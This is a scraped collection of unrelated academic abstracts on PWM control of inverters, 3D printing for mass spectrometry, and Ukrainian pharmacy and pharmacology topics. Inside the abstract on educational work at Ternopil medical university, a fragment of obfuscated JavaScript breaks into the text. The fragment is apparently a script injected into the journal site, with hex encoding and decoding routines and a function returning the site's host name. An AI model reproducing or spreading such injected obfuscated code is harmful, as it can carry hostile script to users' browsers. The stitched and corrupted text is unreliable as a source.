Synchronous PWM control of triple transformer-connected inverters for photovoltaic system

Abstract: This paper presents results of research of modulation processes in power conversion system with triple voltage source inverters, supplied by photovoltaic (PV) strings, and connected to a four-winding transformer. The transformer has in this case specific connections between the secondary windings and inverters, allowing providing of multilevel voltages at secondary windings of the transformer. Specialized space-vector-based strategy of pulsewidth modulation (PWM) has been used for control of inverters, insuring quarter-wave symmetry of winding voltages for any modulation indices and switching frequency of inverters. Analysis and comparison of harmonic composition of winding voltages and output voltages of inverters has been done. The validity of the analyzed processes has been verified by simulations: three basic variants of the scheme of modulation have been applied for control of inverters

Multiphase quad-inverter system with feedforward synchronous PWM and nonlinear voltage regulation

Abstract: This manuscript presents modified scheme of synchronous space-vector modulation allowing providing nonlinear dependences between the fundamental voltage and fundamental frequency of dual three-phase open-winding ac drive with four modulated inverters. Behavior of the system with six control modes (characterized by different dc-voltages and switching frequencies of inverters) and two nonlinear Voltage/Frequency ratios has been analyzed and simulated by the means of MATLAB-software

Leveraging 3D printing to enhance mass spectrometry:A review

The use of 3D printing in the chemical and analytical sciences has gained a lot of momentum in recent years. Some of the earliest publications detailed 3D-printed interfaces for mass spectrometry, which is an evolving family of powerful detection techniques. Since then, the application of 3D printing for enhancing mass spectrometry has significantly diversified, with important reasons for its application including flexible integration of different parts or devices, fast customization of setups, additional functionality, portability, cost-effectiveness, and user-friendliness. Moreover, computer-aided design (CAD) and 3D printing enables the rapid and wide distribution of scientific and engineering knowledge. 3D printers allow fast prototyping with constantly increasing resolution in a broad range of materials using different fabrication principles. Moreover, 3D printing has proven its value in the development of novel technologies for multiple analytical applications such as online and offline sample preparation, ionization, ion transport, and developing interfaces for the mass spectrometer. Additionally, 3D-printed devices are often used for the protection of more fragile elements of a sample preparation system in a customized fashion, and allow the embedding of external components into an integrated system for mass spectrometric analysis. This review comprehensively addresses these developments, since their introduction in 2013. Moreover, the challenges and choices with respect to the selection of the most appropriate printing process in combination with an appropriate material for a mass spectrometric application are addressed; special attention is paid to chemical compatibility, ease of production, and cost. In this review, we critically discuss these developments and assess their impact on mass spectrometry

Methods, Techniques, and Algorithms of Synchronous Multi-Zone Modulation of Signals of Voltage Source Inverters (literature review)

This publication provides a brief overview of the results of research work in the field of developing alternative methods, schemes, and algorithms of synchronous multi-zone modulation of signals of inverters of power con-version systems with reduced switching frequency of power switches. In particular, in the mentioned researches, the basic strategies, schemes, and algorithms of synchronous multi-zone modulation have been further devel-oped, modernized, modified, and disseminated in relation to new promising topologies of power conversion sys-tems, including: two-inverter-based electric drives with open windings of electrical motor; drive systems based on electric motor with two stator windings; dual three-phase electric drives of symmetrical and asymmetric type; five-phase power conversion systems, powerful six-phase systems based on four inverters, and two-inverter-based and three-inverter-based photovoltaic installations with multi-winding transformer. It is shown that the developed schemes and algorithms of synchronous space-vector modulation applied for control of inverter-based systems provide continuous synchronization and symmetry of the basic voltage waveforms of systems during the whole control range. It provides minimization of even harmonics and undesirable subharmonics (of the fundamental frequency) in spectra of the basic voltages of systems, leading to reducing of losses in systems and to increasing of its efficiency. Based on a comparative analysis of the integral spectral characteristics of the phase and line voltages of the systems, recommendations are formulated for the rational choice of schemes and algorithms of synchronous modulation for the relevant installations, depending on the modes of their operation

ОРГАНІЗАЦІЯ ВИХОВНОЇ РОБОТИ НА КАФЕДРІ ФАРМАКОЛОГІЇ З КЛІНІЧНОЮ ФАРМАКОЛОГІЄЮ

The article elucidates the educational work with students at the Pharmacology and Clinical Pharmacology Department of I. Ya. Horbachevsky Ternopil State Medical University. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eУ статті висвітлено виховну роботу зi студентами Тернопільського державного медичного університету імені І. Я. Горбачевського на кафедрі фармакології з клінічною фармакологією.

РЕКОМЕНДАЦІЇ ЩОДО РОЗРОБКИ ШКАЛИ РІВНІВ ВПЛИВУ НА БЮДЖЕТ ПРИ ОЦІНЦІ ЗАКУПІВЛІ ЛІКАРСЬКИХ ЗАСОБІВ В УКРАЇНІ

The aim of the work. Development of a rate of budget impact when evaluating the inclusion of a medicines on the National List of Essential Medicines (National List) in the analysis of the economic efficiency. Materials and methods.&nbsp;ABC analysis used for developed of this recommendations. The aim is assessing of the potential impact on the budget of medicines in case of its inclusion on the National List. The study used data provided by the Pharmexsplorer market research system, Support in Market Development (SMD) for 2018. Results and discussion. The developed of scale of rate of budget impact is recommended to be used to assess the financial consequences of using medical technology over an appropriate time horizon of 1 year or more to ensure an adequate level of functioning in the healthcare sector.&nbsp; In the case of procurement by state budget and local budgets, if expenses per one INN exceeds 40 million UAH per year, the budget impact rate is excessive. If the expenses for one INN are in the range from 20 million to 40 million, the budget impact rate is big, if the costs range from 10 to 20 million UAH, then the impact is moderate, if expenses are less than 10 million, then the impact is insignificant. Subject to the inclusion of a medicinal product in the National List, in the case of procurement by health care institutions that are financed from the local budget, the scale of budget impact levels has the following gradation: if the cost per INN exceeds 17 million UAH per year, the budget impact rate is excessive. If the expenses for one INN are in the range from 6 to 17 million UAH, the budget impact rate is big, if the expenses for one INN are in the range from 3 to 6 million UAH, the impact is moderate; if the expenses are less than 3 million, the impact is insignificant. Conclusion.&nbsp;A scale for determining of rate of budget impact was developed based on the analysis of the procurement of medicines from the National List for 2018. It has such a gradation in four levels of influence: excessive, big, moderate and insignificant. It is promising to use a rate of budget impact for HTA&nbsp;with the aim of future financing by the expenses&nbsp;of state and local budgets in Ukraine.Мета роботи. Розробка шкали рівнів впливу на бюджет при оцінці включення лікарського засобу до Національного переліку основних лікарських засобів (Національного переліку) під час аналізу економічної ефективності лікарських засобів (ЛЗ). Матеріали і методи. З використанням АВС-аналізу розроблено рекомендації з оцінки потенційного впливу на бюджет ЛЗ у разі його включення до Національного переліку. В дослідженні використано дані, представлені системою дослідження ринку «Фармексплорер», &nbsp;Support in Market Development (SMD) за 2018 рік. Результати й обговорення. Розроблену шкалу рівнів впливу на бюджет рекомендовано використовувати для оцінки фінансових наслідків використання медичної технології протягом відповідного часового горизонту -&nbsp; на 1 та більше років для забезпечення належного рівня функціонування у сфері охорони здоров’я. Якщо витрати&nbsp; на одну міжнародну непатентовану назву (МНН) при закупівлі за кошти державного та місцевого бюджетів перевищують 40 млн грн на рік, то вплив на бюджет буде надмірний. Якщо витрати на одну МНН знаходяться в межах від 20 млн до 40 млн грн, то вплив на бюджет – великий, якщо витрати становлять від 10 до 20 млн грн – помірний, а менше 10 млн грн&nbsp; -&nbsp; незначний. При умові включення ЛЗ до Національного переліку для закупівлі закладами та установами охорони здоров’я, що фінансуються з місцевих бюджетів, шкала рівнів впливу на бюджет має таку градацію:&nbsp; якщо витрати&nbsp; на одну МНН перевищують 17 млн грн на рік, то вплив на бюджет буде надмірний, в межах від 6 до 17 млн грн – великий, в межах від 3 до 6 млн грн - помірний, менше 3 млн – незначний. Висновок.&nbsp;На основі проведеного аналізу закупівель ЛЗ з Національного переліку за 2018 рік розроблено шкалу рівнів впливу на бюджет, яка має таку градацію за чотирма рівнями впливу: надмірний, великий, помірний та незначний.&nbsp; Перспективним є використання шкали рівнів впливу на бюджет при оцінці медичних технологій з метою їх подальшого фінансування за кошти державного та місцевих бюджетів в Україні

Operation of Six-Phase Drives with Synchronized PWM in the Overmodulation Region

Analysis of operation of the six-phase (dual three-phase) drives with basic schemes of synchronized pulsewidth modulation (PWM) in the zone of overmodulation has been performed. Control of six-phase drives is based on the 30deg-phase-shifting between signals of two standard inverters, supplied from a single DC voltage source. Algorithms of synchronized PWM provide continuous synchronization of the output voltage waveforms of each inverter. The four-level phase voltage of six-phase drives has quarter-wave symmetry during control in this zone. Continuous and discontinuous versions of synchronized PWM, based on space-vector approach for determination of the pulse patterns, have been analyzed and compared by simulations of drive systems with low switching frequencies